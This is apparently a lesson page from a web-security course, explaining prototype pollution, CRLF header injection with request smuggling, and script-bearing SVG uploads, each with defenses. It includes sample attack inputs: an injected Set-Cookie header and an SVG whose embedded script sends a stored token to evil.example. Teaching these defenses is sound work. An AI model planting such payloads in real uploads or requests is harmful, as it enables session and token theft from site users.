Track 08 · Lesson 13 of 20Attacks and defenses
- 01What HTTPS protects
- 02The same-origin policy
- 03CORS
- 04Security headers
- 05Cookies done right
- 06Cross-site scripting (XSS)
- 07Content Security Policy
- 08Cross-site request forgery (CSRF)
- 09Clickjacking
- 10Unsafe URLs and open redirects
- 11Prompt injection
- 12SQL and command injection
- 13Prototype pollution, CRLF and SVG
- 14Server-side request forgery (SSRF)
- 15Remote code execution and denial of service
- 16Spoofed headers
- 17Rate limiting
- 18Cache poisoning
- 19The OWASP Top 10
- 20The attack lab
Track 08 · Attacks and defenses
Prototype pollution, CRLF and SVG
Lesson 13 of 20· 9 min
Three bugs that hide inside ordinary features: merging JSON, setting a header, accepting an image. Each turns a harmless-looking input into something that changes far more than it should.
Pollute the prototype
Send each payload, then change how the server merges
Prototype pollution#
Every JavaScript object inherits from Object.prototype. A careless deep merge that copies keys like __proto__ or constructor.prototype from user JSON writes onto that shared prototype, and suddenly every object in the process has isAdmin: true. The damage appears in unrelated code that reads a property it never set. Validate input against a schema, skip those keys when merging, or build objects with Object.create(null), and keep merge libraries patched.
Break a header
Inject a cookie, then switch to request smuggling
res.setHeader("Location", "/?lang=" + req.query.lang)The raw response
HTTP/1.1 302 FoundLocation: /?lang=frSet-Cookie: session=attacker123Content-Length: 0%0D%0A became a real line break, so everything after it is a new header line the attacker wrote.CRLF injection and request smuggling#
HTTP separates header lines with a carriage return and line feed (\r\n, or %0D%0A in a URL). If user input reaches a header unfiltered, a line break in it starts a new header, or even a body. Request smuggling is the same idea one level down: when your proxy and your app disagree about where a request ends, an attacker hides a second request inside the first. Patched HTTP libraries reject both; never put raw user input into headers.
Upload an SVG
Change how it’s served and how it’s viewed
avatar.svg, as uploaded
<svg xmlns="http://www.w3.org/2000/svg" width="96" height="96">
<circle cx="48" cy="48" r="44" fill="#d4f02b"/>
<script>fetch("https://evil.example/?t=" + localStorage.token)</script>
</svg>Response headers
Content-Type: image/svg+xml
SVG and CSP sandbox#
An SVG is an image and also an XML document that can contain script. Shown with <img>, its script never runs; opened directly from your domain, it becomes a page on your origin and its script runs with your users’ sessions. Serve uploads from a separate domain, convert them to PNG, or send Content-Security-Policy: sandbox with them so they can’t run script anywhere.
Next.js’s image optimizer refuses SVG by default for exactly this reason. If you turn on images.dangerouslyAllowSVG, its docs recommend also setting contentDispositionType (so the browser downloads the file instead of opening it) and a contentSecurityPolicy that stops embedded scripts.
Check yourself